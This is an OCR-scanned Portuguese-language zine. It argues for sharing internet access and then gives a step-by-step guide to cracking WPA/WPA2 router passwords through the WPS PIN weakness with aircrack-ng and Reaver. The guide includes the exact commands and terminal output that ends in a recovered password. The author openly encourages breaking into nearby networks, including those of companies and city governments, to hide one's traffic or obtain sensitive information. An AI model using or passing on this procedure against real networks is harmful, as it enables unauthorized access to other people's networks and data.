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Nao parece totalmente ineficiente e dispendioso que cada
pessoa que usa internet tenha que possuir seu préprio modem,
roteador e contrato com um provedor? Nao parece ridiculo que
cada pessoa pense que 0 acesso a internet é um privil égio seu,
sendo que a web é uma criacao coletiva, dinamica e participativa?

A maioria trata ainternet como sua, como um bem privado que
tem que ser defendido contra hackers malvadxs e todo tipo de
malware que diminua a velocidade da conexo.

N3do é apenas ridiculo, mas também um pensamento burro, pois
nao ha muita protecao nisto. As informacdes que as pessoas tentam
esconder, na verdade, sdo dadas espontaneamente quando elas
acessam sites, alimentam redes sociais, usam e-mail de
coorporacoes privadas, falam ao telefone, compram com cartdo de
crédito, etc.

Ainternet é uma via. E como todas as vias, sua melhor
caracteristica é estar livre. Entdo libere sua conex o, convide as
pessoas a usa-la, compartilhe seu sinal!

Por fim, se queres protecao, pesquisa o que realmente faz
diferenca (GPG, TOR, VPN, seila) e tenha clareza de que o seu
principal inimigo n&o é x vizinhx e sim o GOV ERNO!




Em 2006, a empresa dona da marca WiFi ;
desenvolveu um protocolo parafacilitara |
configuracdo da rede sem fio para
usuarixs comuns, chamado UiFi Protected
Setup (WPS). Dizem que o WPS é bem

- vulneravel a ataques de forca bruta, mas

.. N30 é esse o nosso interesse agora. 0 que

-=Y.nos importa ¢ que a maioria dos
roteadores vem configurada de fabrica
com um método de autenticacao chamado
Pre-Shared Key (PSK). Este método se
mostrou incrivelmente falho e, em
dezembro de 2011, um grupo de hackers
desenvolveu o Reaver, um software de
co6digo aberto para recuperar o PIN do
roteador e com isso obter sua'senha.

\ |

Entdo éisso o que nés vamos farz;(aqui:
preparar nosso adaptador de Fede para
monitoramento de sinal, reconhecer um
roteador perto o suficiente para
conectarmos a ele, rodar o Reaver durante

algumas horas e conseguir a senha!/\




| 0 que 2 gente vaj precisar:

* Uma distribuicao LINUX
>* Um adaptador de rede
*Aircrack-ng
* Reaver
*entre 4a 10 horas

Caso alguém coloque senha na sua internet sem fio
(o que ndo muda nada para a espionagem que o
governo faz sobre nés), existe comumente 3 modos
de encriptacao: WEP, WPA, WPA2. E facil encontrar
tutoriais explicando como hackear a WEP, o que é
bom saber, pois tem varios lugares que ainda
usam, como no México.

No caso do Brasil, aimensa maioria dos roteadores ja vem 5
configurada com encriptacao WPAZ, que é a mais foda. e
Antigamente (ha uns 2 anos) era muito dificil (pra mim foi »

impossivel) quebrar esse padrao, entao fiquei A
muito decepcionado, até descobrirem aquele >
- problema do PIN. Agora podemos nos ¥

‘. conectar em diversos roteadores, -
' despistar nosso sinal, abrir as redes, ou ;

até mesmo conseguir algum tipo de i

informacao sensivel na rede de alguma
empresa ou prefeitura lazarenta.




)
A primeira coisa que tu precisa é uma distribuicao !
LINUX, qualquer uma. Se nao quiseres instalar, ‘
. bastabaixar aimagem (.ISO), por exemplo, do
« =+ Debian, queimar num CD ou colocar num pendrive e
" - usa-lonomodo Live. Caso tu use apenas window$
: ou $mac$, sinto muito.

Uma vez no ambiente Linux, baixe e instale os

-h .. programas:
¥~ - Aircrack-ng: www.aircrack-ng.org
BT (algumas distros ja vém com aircrack-ng instalado)
. 2 - Reaver: code.google.com/ p/reaver-wps/
% 2 Caso tenhas dificuldades nas instalacses, procure a solucéo em algum férum.
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Uma vez no ambiente Linux, acesse o terminal. Ative a
funcao de SuperUsuarix com o comando:
> su

em seguida, coloque a tua senha. Agoraja podes
executar comandos de administracao. V erifique qual o
nome do teu adaptador de rede sem fio:

Yo, > iwconfig
A
L Geralmente esta com nome "wlanB” e sera aquele
3 dispositivo com alguma descricao (o nome ethO é para
2 rede cabeada).
hs V eja aimagem da pagina 4
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Terminal
Arquivo Editar Ver Pesquisar Terminal Ajuda
# iwconfig
wlan® IEEE 802.11bgn ESSID:off/any
2 Mode:Managed Access Point: Not-Associated Tx-Power=off
[k Retry long limit:7 RTS thr:off Fragment thr:off
i Encryption key:off
Power Management:off
lo no wireless extensions.
ethe no wireless extensions.
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Tendo identificado o adaptador de rede sem fio, vamos £

coloca-lo no modo de "Monitoramento™:
> airmon-ng start wlan®

Terminal

Arquivo Editar Ver Pesquisar Terminal Ajuda
# airmon-ng start wlan@ A

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name

768 avahi-daemon
718 avahi-daemon
850 NetworkManager

2162 wpa_supplicant
2166 dhclient
Process with PID 2166 (dhclient) is running on interface wlan®

Interface Chipset Driver
wlan® Unknown brcmsmac - [phy@]
(monitor mode enabled on mon@)
e meme ¢ 1
™ A




Agora, dé uma olhada em todos os sinais que
chegam até o teu computador com o comando:
> airodump-ng mon@

Se tu tais num centro urbano ou num condominio,
poderao ser dezenas de roteadores emitindo sinal
~ de radio (eita desperdicio!). Temos que buscar

. aquele com maior poténcia (coluna PUR: quanto

menor, melhor) e com modo de autenticacao
(coluna AUTH) tipo PSK.

i Terminal

ﬁr v Arquivo Editar Ver Pesquisar Terminal Ajuda
oy - I!

CH 6 ][ Elapsed: 1 min ][ 2013-10-22 12:55

b Q BSSID [ PWR| Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
34:08:04:C0:B6:8A -57 574 0 0 6 54e WPA2 CCMP  PSK
84:C9:B2:A5:A6:EE -75 238 0 © 6 54e WPA2 CCMP  PSK

*‘1 7C:4F:B5:E8:B0:51 -76 224 18 0 6 54 . WPA2 CCMP  PSK

b 06:27:22:F1:B7:5A -76 230 2 © 6 54e. WPA2 CCMP  PSK
06:27:22:F1:B7:49 -76 61 0 © 6 54e. WPA2 CCMP  PSK
6C:2E:85:EA:66:75 -76 125 0 0 6 54e. WPA2 CCMP  PSK
2C:E4:12:A9:4D:15 -78 113 0 © 6 54e. WPA2 CCMP  PSK

- 4 00:1C:10:8B:25:80 -77 333 al 0 6 54 WPA TKIP PSK

- 00:15:E9:05:5F:EE -78 29 1 © 6 54 . WEP WEP
7C:4F:B5:1F:AD:E0@ -50 2 0 © 11 54 . WPA2 CCMP  PSK
BSSID STATION PWR Rate Lost Packets Probes
(not associated)  70:F1:A1:4E:F4:70 -53 0 -12 1 24 D"
(not associated) ©C:84:DC:D4:20:39 -72 0 -12 0 7
(not associated) 88:44:F6:05:28:60 -73 0 -12 0 1
(not associated) 74:F0:6D:85:59:09 -74 0 -12 0 3 N
(not associated) E8:11:32:A6:D5:71 -74 0 -12 0 1
34:08:04:C0:B6:8A 48:5D:60:B5:64:AB 0 -1 0 15

Depois de um tempo, pare o monitoramento
. apertando ctrl+C. Geralmente, o primeiro sinal

. Anote o numero BSSID e vamos rodar
. 0Reaver.




0 que o reaver faz é um ataque de forca bruta
/ refinado, tentando encontrar o PIN do roteador.
i N&o sei como ele consegue recuperar a propria
I senha depois, mas funciona! As vezes, mesmo com .J'-};
| um sinal bom, a coisa nao anda. Entao, tenta o é;—:, ;
segundo da lista e por ai vai, até dar certo. i
Execute o seguinte comando para comecar: ¥ :
>reaver -i mon0 -b BSSID -vv -c canal S
(BSSID é o endereco de MAC do roteador. Troque _BSSID_ pelo “ndmero”
gue esta na primeira coluna da lista e _canal_- pelo nimero da coluna
H correspondente) L A
Arquivo Editar Ver Pesquisar Terminal Ajuda B :.fh T
B # reaver -i mon® -b 84 (EEEMEA5:A6:EE -vv -C 6 N X" >
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Switching mon@ to channel 6 ;’

[+] Waiting for beacon from 84 GEEEEEBAS:A6:EE

[+] Associated with 84 GEEEEEBAS:A6:EE (ESSID: M )
[+] Trying pin 123456760

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response $
[+] Received M1 message

[+] Sending M2 message

[+] Received M1 message

[+] Sending WSC NACK

[+] Sending WSC NACK

[!] wWPS transaction failed (code: ©x63), re-trying last pin
[+] Trying pin 123456760

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received M3 message

[+] Sending WSC NACK

[+] Sending WSC NACK

[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670

0 programa vai comecar atestar os PINs e
é s6 aguardar entre 4 a 10 horas. De vez
em quando vai aparecer um indicador em
porcentagem mostrando o progresso. :
Caso precises parar, o Reaver salva até 5
onde ele foi e depois continua a partir dali.




Terminal

Arquivo Editar Ver Pesquisar Terminal Ajuda

[+] Sending M2 message -
[+] Received M3 message

[+] Sending M4 message

[+] Received WSC NACK

[+] Sending WSC NACK

[+] Trying pin 00065672

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response °

[+] Received identity request

[+] Sending identity response /. progresso

[+] Received M1 message
N [+] Sending M2 message
.o [+] Received M1 message

W 3 [+] Sending WSC NACK
& o X [+ g WSC NA
v N PS tr¥ ailed (code: 0x03), re-trying last pin
> S +] 0.15% c@plete @ 2013-10-22 13:04:14 (12 seconds/pin)
b Trying Jn 00065672
. [+ 3 APOL START request
[+] Received identity request
< [+] Sending identity response
o [+] Received M1 message
™ [+] Sending M2 message
Lﬁ - [+] Received M3 message
, . Wiy = [+] Sending M4 message
. [+] Received M3 message
b Q [+] Sending WSC NACK

[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin

Ao final, teremos a senha:

““ Terminal

Arquivo Editar Ver Pesquisar Terminal Ajuda

., [+] Switching mon® to channel 1

: [?] Restore previous session for C8:@NEEEp02:B8:68? [n/Y] y
[+] Restored previous session

[+] Waiting for beacon from C8:@uilk02:B8:68
[+] Associated with C8:@u@#®02:B8:68 (ESSID: (D)
[+] Trying pin 017828606

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received M5 message

[+] Sending M6 message

[+] Received M7 message

[+] Sending WSC NACK

[+] Sending WSC NACK

[+] Pin cracked in 6 seconds

[+] WPS PIN: *

[+] WPA PSK: 'd13me6all’

[+] AP SSID: 'CEEED
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Mais links:
= http:/ /lifehacker.com/ 5873407/ how-to-crack-a-
wi+fi-networks-wpa-password-with-reaver

= http:/ /www.tacnetsol.com/reaver/

= http:/ /lifehacker.com/ 5305034/ how-to-crack-a-
wi+fi-networks-wep-password-with-backtrack

- www.wireshark.org
=2\ N, — www.backtrack-linux.org/




